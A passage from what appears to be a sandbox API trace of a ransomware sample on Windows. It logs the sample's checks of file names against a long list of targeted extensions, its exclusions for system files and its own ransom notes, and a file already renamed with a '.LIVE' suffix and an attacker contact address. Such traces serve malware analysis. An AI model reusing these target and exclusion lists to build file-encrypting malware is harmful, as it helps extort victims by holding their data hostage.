ftCreationTime.dwLowDateTime=0x57b0bfa0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.126] lstrlenW (lpString="desktop.ini") returned 11 [0168.126] lstrlenW (lpString=".1cd") returned 4 [0168.126] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0168.126] lstrlenW (lpString=".3ds") returned 4 [0168.126] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0168.126] lstrlenW (lpString=".3fr") returned 4 [0168.126] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0168.126] lstrlenW (lpString=".3g2") returned 4 [0168.126] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0168.126] lstrlenW (lpString=".3gp") returned 4 [0168.126] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0168.126] lstrlenW (lpString=".7z") returned 3 [0168.126] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0168.126] lstrlenW (lpString=".accda") returned 6 [0168.126] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0168.126] lstrlenW (lpString=".accdb") returned 6 [0168.127] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0168.127] lstrlenW (lpString=".accdc") returned 6 [0168.127] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0168.127] lstrlenW (lpString=".accde") returned 6 [0168.127] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0168.127] lstrlenW (lpString=".accdt") returned 6 [0168.127] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0168.127] lstrlenW (lpString=".accdw") returned 6 [0168.127] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0168.127] lstrlenW (lpString=".adb") returned 4 [0168.127] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".adp") returned 4 [0168.127] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai") returned 3 [0168.127] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0168.127] lstrlenW (lpString=".ai3") returned 4 [0168.127] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai4") returned 4 [0168.127] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai5") returned 4 [0168.127] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai6") returned 4 [0168.127] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai7") returned 4 [0168.127] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".ai8") returned 4 [0168.127] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".anim") returned 5 [0168.127] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0168.127] lstrlenW (lpString=".arw") returned 4 [0168.127] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".as") returned 3 [0168.127] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0168.127] lstrlenW (lpString=".asa") returned 4 [0168.127] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0168.127] lstrlenW (lpString=".asc") returned 4 [0168.128] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".ascx") returned 5 [0168.128] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0168.128] lstrlenW (lpString=".asm") returned 4 [0168.128] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".asmx") returned 5 [0168.128] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0168.128] lstrlenW (lpString=".asp") returned 4 [0168.128] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".aspx") returned 5 [0168.128] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0168.128] lstrlenW (lpString=".asr") returned 4 [0168.128] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".asx") returned 4 [0168.128] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".avi") returned 4 [0168.128] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".avs") returned 4 [0168.128] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".backup") returned 7 [0168.128] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0168.128] lstrlenW (lpString=".bak") returned 4 [0168.128] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".bay") returned 4 [0168.128] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".bd") returned 3 [0168.128] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0168.128] lstrlenW (lpString=".bin") returned 4 [0168.128] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".bmp") returned 4 [0168.128] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0168.128] lstrlenW (lpString=".bz2") returned 4 [0168.128] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".c") returned 2 [0168.129] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0168.129] lstrlenW (lpString=".cdr") returned 4 [0168.129] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cer") returned 4 [0168.129] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cf") returned 3 [0168.129] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0168.129] lstrlenW (lpString=".cfc") returned 4 [0168.129] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cfm") returned 4 [0168.129] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cfml") returned 5 [0168.129] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0168.129] lstrlenW (lpString=".cfu") returned 4 [0168.129] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".chm") returned 4 [0168.129] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cin") returned 4 [0168.129] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".class") returned 6 [0168.129] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0168.129] lstrlenW (lpString=".clx") returned 4 [0168.129] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".config") returned 7 [0168.129] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0168.129] lstrlenW (lpString=".cpp") returned 4 [0168.129] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".cr2") returned 4 [0168.129] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0168.129] lstrlenW (lpString=".crt") returned 4 [0168.130] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".crw") returned 4 [0168.130] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".cs") returned 3 [0168.130] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0168.130] lstrlenW (lpString=".css") returned 4 [0168.130] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".csv") returned 4 [0168.130] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".cub") returned 4 [0168.130] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dae") returned 4 [0168.130] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dat") returned 4 [0168.130] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".db") returned 3 [0168.130] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0168.130] lstrlenW (lpString=".dbf") returned 4 [0168.130] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dbx") returned 4 [0168.130] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dc3") returned 4 [0168.130] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dcm") returned 4 [0168.130] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".dcr") returned 4 [0168.130] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0168.130] lstrlenW (lpString=".der") returned 4 [0168.130] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dib") returned 4 [0168.131] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dic") returned 4 [0168.131] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dif") returned 4 [0168.131] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".divx") returned 5 [0168.131] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".djvu") returned 5 [0168.131] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".dng") returned 4 [0168.131] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".doc") returned 4 [0168.131] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".docm") returned 5 [0168.131] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".docx") returned 5 [0168.131] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".dot") returned 4 [0168.131] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dotm") returned 5 [0168.131] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".dotx") returned 5 [0168.131] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0168.131] lstrlenW (lpString=".dpx") returned 4 [0168.131] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dqy") returned 4 [0168.131] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0168.131] lstrlenW (lpString=".dsn") returned 4 [0168.132] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".dt") returned 3 [0168.132] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0168.132] lstrlenW (lpString=".dtd") returned 4 [0168.132] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".dwg") returned 4 [0168.132] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".dwt") returned 4 [0168.132] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".dx") returned 3 [0168.132] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0168.132] lstrlenW (lpString=".dxf") returned 4 [0168.132] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".edml") returned 5 [0168.132] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0168.132] lstrlenW (lpString=".efd") returned 4 [0168.132] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".elf") returned 4 [0168.132] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".emf") returned 4 [0168.132] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".emz") returned 4 [0168.132] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".epf") returned 4 [0168.132] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".eps") returned 4 [0168.132] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0168.132] lstrlenW (lpString=".epsf") returned 5 [0168.132] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0168.132] lstrlenW (lpString=".epsp") returned 5 [0168.133] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0168.133] lstrlenW (lpString=".erf") returned 4 [0168.133] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".exr") returned 4 [0168.133] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".f4v") returned 4 [0168.133] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".fido") returned 5 [0168.133] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0168.133] lstrlenW (lpString=".flm") returned 4 [0168.133] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".flv") returned 4 [0168.133] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".frm") returned 4 [0168.133] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".fxg") returned 4 [0168.133] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".geo") returned 4 [0168.133] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".gif") returned 4 [0168.133] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".grs") returned 4 [0168.133] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".gz") returned 3 [0168.133] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0168.133] lstrlenW (lpString=".h") returned 2 [0168.133] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0168.133] lstrlenW (lpString=".hdr") returned 4 [0168.133] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0168.133] lstrlenW (lpString=".hpp") returned 4 [0168.134] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".hta") returned 4 [0168.134] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".htc") returned 4 [0168.134] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".htm") returned 4 [0168.134] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".html") returned 5 [0168.134] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0168.134] lstrlenW (lpString=".icb") returned 4 [0168.134] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".ics") returned 4 [0168.134] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".iff") returned 4 [0168.134] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".inc") returned 4 [0168.134] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0168.134] lstrlenW (lpString=".indd") returned 5 [0168.134] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0168.134] lstrlenW (lpString=".ini") returned 4 [0168.134] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0168.134] lstrlenW (lpString="desktop.ini") returned 11 [0168.134] lstrlenW (lpString=".LIVE") returned 5 [0168.134] lstrcmpiW (lpString1=".LIVE", lpString2="p.ini") returned -1 [0168.134] lstrlenW (lpString="desktop.ini") returned 11 [0168.134] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0168.134] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0168.134] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0168.134] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0168.134] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0168.134] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0168.134] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0168.134] lstrcmpiW (lpString1="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpString2="desktop.ini") returned 1 [0168.134] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0168.135] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x219d4dc0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x219d4dc0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x219faf20, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", cAlternateFileName="DESKTO~1.LIV")) returned 1 [0168.135] lstrlenW (lpString="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE") returned 48 [0168.135] lstrlenW (lpString=".1cd") returned 4 [0168.135] lstrcmpiW (lpString1=".1cd", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".3ds") returned 4 [0168.135] lstrcmpiW (lpString1=".3ds", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".3fr") returned 4 [0168.135] lstrcmpiW (lpString1=".3fr", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".3g2") returned 4 [0168.135] lstrcmpiW (lpString1=".3g2", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".3gp") returned 4 [0168.135] lstrcmpiW (lpString1=".3gp", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".7z") returned 3 [0168.135] lstrcmpiW (lpString1=".7z", lpString2="IVE") returned -1 [0168.135] lstrlenW (lpString=".accda") returned 6 [0168.135] lstrcmpiW (lpString1=".accda", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".accdb") returned 6 [0168.135] lstrcmpiW (lpString1=".accdb", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".accdc") returned 6 [0168.135] lstrcmpiW (lpString1=".accdc", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".accde") returned 6 [0168.135] lstrcmpiW (lpString1=".accde", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".accdt") returned 6 [0168.135] lstrcmpiW (lpString1=".accdt", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".accdw") returned 6 [0168.135] lstrcmpiW (lpString1=".accdw", lpString2="].LIVE") returned -1 [0168.135] lstrlenW (lpString=".adb") returned 4 [0168.135] lstrcmpiW (lpString1=".adb", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".adp") returned 4 [0168.135] lstrcmpiW (lpString1=".adp", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".ai") returned 3 [0168.135] lstrcmpiW (lpString1=".ai", lpString2="IVE") returned -1 [0168.135] lstrlenW (lpString=".ai3") returned 4 [0168.135] lstrcmpiW (lpString1=".ai3", lpString2="LIVE") returned -1 [0168.135] lstrlenW (lpString=".ai4") returned 4 [0168.135] lstrcmpiW (lpString1=".ai4", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".ai5") returned 4 [0168.136] lstrcmpiW (lpString1=".ai5", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".ai6") returned 4 [0168.136] lstrcmpiW (lpString1=".ai6", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".ai7") returned 4 [0168.136] lstrcmpiW (lpString1=".ai7", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".ai8") returned 4 [0168.136] lstrcmpiW (lpString1=".ai8", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".anim") returned 5 [0168.136] lstrcmpiW (lpString1=".anim", lpString2=".LIVE") returned -1 [0168.136] lstrlenW (lpString=".arw") returned 4 [0168.136] lstrcmpiW (lpString1=".arw", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".as") returned 3 [0168.136] lstrcmpiW (lpString1=".as", lpString2="IVE") returned -1 [0168.136] lstrlenW (lpString=".asa") returned 4 [0168.136] lstrcmpiW (lpString1=".asa", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".asc") returned 4 [0168.136] lstrcmpiW (lpString1=".asc", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".ascx") returned 5 [0168.136] lstrcmpiW (lpString1=".ascx", lpString2=".LIVE") returned -1 [0168.136] lstrlenW (lpString=".asm") returned 4 [0168.136] lstrcmpiW (lpString1=".asm", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".asmx") returned 5 [0168.136] lstrcmpiW (lpString1=".asmx", lpString2=".LIVE") returned -1 [0168.136] lstrlenW (lpString=".asp") returned 4 [0168.136] lstrcmpiW (lpString1=".asp", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".aspx") returned 5 [0168.136] lstrcmpiW (lpString1=".aspx", lpString2=".LIVE") returned -1 [0168.136] lstrlenW (lpString=".asr") returned 4 [0168.136] lstrcmpiW (lpString1=".asr", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".asx") returned 4 [0168.136] lstrcmpiW (lpString1=".asx", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".avi") returned 4 [0168.136] lstrcmpiW (lpString1=".avi", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".avs") returned 4 [0168.136] lstrcmpiW (lpString1=".avs", lpString2="LIVE") returned -1 [0168.136] lstrlenW (lpString=".backup") returned 7 [0168.136] lstrcmpiW (lpString1=".backup", lpString2="m].LIVE") returned -1 [0168.137] lstrlenW (lpString=".bak") returned 4 [0168.137] lstrcmpiW (lpString1=".bak", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".bay") returned 4 [0168.137] lstrcmpiW (lpString1=".bay", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".bd") returned 3 [0168.137] lstrcmpiW (lpString1=".bd", lpString2="IVE") returned -1 [0168.137] lstrlenW (lpString=".bin") returned 4 [0168.137] lstrcmpiW (lpString1=".bin", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".bmp") returned 4 [0168.137] lstrcmpiW (lpString1=".bmp", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".bz2") returned 4 [0168.137] lstrcmpiW (lpString1=".bz2", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".c") returned 2 [0168.137] lstrcmpiW (lpString1=".c", lpString2="VE") returned -1 [0168.137] lstrlenW (lpString=".cdr") returned 4 [0168.137] lstrcmpiW (lpString1=".cdr", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".cer") returned 4 [0168.137] lstrcmpiW (lpString1=".cer", lpString2="LIVE") returned -1 [0168.137] lstrlenW (lpString=".cf") returned 3 [0168.137] lstrcmpiW (lpString1=".cf", lpString2="IVE") returned -1 [0168.138] lstrlenW (lpString=".cfc") returned 4 [0168.138] lstrcmpiW (lpString1=".cfc", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cfm") returned 4 [0168.138] lstrcmpiW (lpString1=".cfm", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cfml") returned 5 [0168.138] lstrcmpiW (lpString1=".cfml", lpString2=".LIVE") returned -1 [0168.138] lstrlenW (lpString=".cfu") returned 4 [0168.138] lstrcmpiW (lpString1=".cfu", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".chm") returned 4 [0168.138] lstrcmpiW (lpString1=".chm", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cin") returned 4 [0168.138] lstrcmpiW (lpString1=".cin", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".class") returned 6 [0168.138] lstrcmpiW (lpString1=".class", lpString2="].LIVE") returned -1 [0168.138] lstrlenW (lpString=".clx") returned 4 [0168.138] lstrcmpiW (lpString1=".clx", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".config") returned 7 [0168.138] lstrcmpiW (lpString1=".config", lpString2="m].LIVE") returned -1 [0168.138] lstrlenW (lpString=".cpp") returned 4 [0168.138] lstrcmpiW (lpString1=".cpp", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cr2") returned 4 [0168.138] lstrcmpiW (lpString1=".cr2", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".crt") returned 4 [0168.138] lstrcmpiW (lpString1=".crt", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".crw") returned 4 [0168.138] lstrcmpiW (lpString1=".crw", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cs") returned 3 [0168.138] lstrcmpiW (lpString1=".cs", lpString2="IVE") returned -1 [0168.138] lstrlenW (lpString=".css") returned 4 [0168.138] lstrcmpiW (lpString1=".css", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".csv") returned 4 [0168.138] lstrcmpiW (lpString1=".csv", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".cub") returned 4 [0168.138] lstrcmpiW (lpString1=".cub", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".dae") returned 4 [0168.138] lstrcmpiW (lpString1=".dae", lpString2="LIVE") returned -1 [0168.138] lstrlenW (lpString=".dat") returned 4 [0168.139] lstrcmpiW (lpString1=".dat", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".db") returned 3 [0168.139] lstrcmpiW (lpString1=".db", lpString2="IVE") returned -1 [0168.139] lstrlenW (lpString=".dbf") returned 4 [0168.139] lstrcmpiW (lpString1=".dbf", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dbx") returned 4 [0168.139] lstrcmpiW (lpString1=".dbx", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dc3") returned 4 [0168.139] lstrcmpiW (lpString1=".dc3", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dcm") returned 4 [0168.139] lstrcmpiW (lpString1=".dcm", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dcr") returned 4 [0168.139] lstrcmpiW (lpString1=".dcr", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".der") returned 4 [0168.139] lstrcmpiW (lpString1=".der", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dib") returned 4 [0168.139] lstrcmpiW (lpString1=".dib", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dic") returned 4 [0168.139] lstrcmpiW (lpString1=".dic", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dif") returned 4 [0168.139] lstrcmpiW (lpString1=".dif", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".divx") returned 5 [0168.139] lstrcmpiW (lpString1=".divx", lpString2=".LIVE") returned -1 [0168.139] lstrlenW (lpString=".djvu") returned 5 [0168.139] lstrcmpiW (lpString1=".djvu", lpString2=".LIVE") returned -1 [0168.139] lstrlenW (lpString=".dng") returned 4 [0168.139] lstrcmpiW (lpString1=".dng", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".doc") returned 4 [0168.139] lstrcmpiW (lpString1=".doc", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".docm") returned 5 [0168.139] lstrcmpiW (lpString1=".docm", lpString2=".LIVE") returned -1 [0168.139] lstrlenW (lpString=".docx") returned 5 [0168.139] lstrcmpiW (lpString1=".docx", lpString2=".LIVE") returned -1 [0168.139] lstrlenW (lpString=".dot") returned 4 [0168.139] lstrcmpiW (lpString1=".dot", lpString2="LIVE") returned -1 [0168.139] lstrlenW (lpString=".dotm") returned 5 [0168.139] lstrcmpiW (lpString1=".dotm", lpString2=".LIVE") returned -1 [0168.139] lstrlenW (lpString=".dotx") returned 5 [0168.140] lstrcmpiW (lpString1=".dotx", 